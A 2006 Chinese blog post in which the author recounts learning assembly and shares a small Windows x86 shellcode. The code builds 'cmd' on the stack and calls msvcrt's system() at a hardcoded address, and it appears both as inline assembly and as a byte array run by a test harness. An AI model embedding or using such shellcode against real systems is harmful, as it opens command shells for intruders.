坚持到底,永不放弃。我终于写了个小小的SHELLCODE啦。
就拿这个星期来说,我日思夜想,为什么我总写不出可以正确执行的SHELLCODE呢,非常郁闷,也整天板着脸想问题,差点吓着小MM同事了。
我本来ASSEMBLY基础不是很好,只懂得可怜的几个INSTRUCTIONS,写SHELLCODE时碰到了很多不认识的Instructions。还要上网差资料,有时真的是一头雾水。
我看了很多前辈写的SHELLCODE,也测试过,结果也是有的可以成功通过测试,有的不能。
我对这类SHELLCODE的问题很感兴趣,每天除了工作,就是研究怎么写SHELLCODE了。不懂就查,就问,GOOGLE不行,就BAIDU,BAIDU不行就YAHOO。
我几乎想从头开始学ASSEMBLY,但好像SHELLCODE的常用指令就那几个啦,像PUSH,MOV,SUB,ADD,INC,DEC,CALL,JMP,JE......
这些都比较好理解。于是我还是把精力集中在SHELLCODE的执行流程上。
先是反汇编一个简单的函数,然后是用指令写些简单的函数,由于ASSEMBLY基础差,碰到很多很尖的钉子,给我的打击不小,有是我会痛苦的问:“天啊,这样的事总发生在我身上。”但事实上,是自己基础差嘛。
付出是有回报的,只是时间问题。经过有多精彩可能要写几GB也写不完啦。
还是把研究成果和大家分享一下,本人什么也不懂,经常出错,望高手提出批评。感激不尽。欢迎交流 QQ:250947302
#include <stdio.h>
#include <windows.h>
void __declspec(naked)aaa(void)
{
__asm{
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
push ebp
mov ebp, esp
sub esp, 08h
}
__asm
{
xor ecx, ecx
mov byte ptr[ebp-08h], 'c'
mov byte ptr[ebp-07h], 'm'
mov byte ptr[ebp-06h], 'd'
mov byte ptr[ebp-05h], cl
lea eax, [ebp-08h]
push eax
mov edx, 77bf93c7h ;这是system函数的地址
call edx
pop eax
}
__asm
{
mov esp, ebp
pop ebp
ret
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
}
}
unsigned char aaaaa[]="\x55\x8B\xEC\x83\xEC\x08\x33\xC9\xC6\x45\xF8"
"\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D"
"\xFB\x8D\x45\xF8\x50\xBA\xC7\x93\xBF\x77\xFF"
"\xD2\x58\x8B\xE5\x5D\xC3";
void main()
{
char *saa;
HMODULE h=LoadLibrary("msvcrt.dll");
((void(*)(void))aaaaa)();
}
//////////////////////////////////////////////////////////////////////
unsigned char aaaaa[]="\x55\x8B\xEC\x83\xEC\x08\x33\xC9\xC6\x45\xF8"
"\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D"
"\xFB\x8D\x45\xF8\x50\xBA\xC7\x93\xBF\x77\xFF"
"\xD2\x58\x8B\xE5\x5D\xC3";
这段是用OLLYDBG 1.1调试得到的。
发表于 @ 2006年10月28日 09:54:00|评论(loading...)|编辑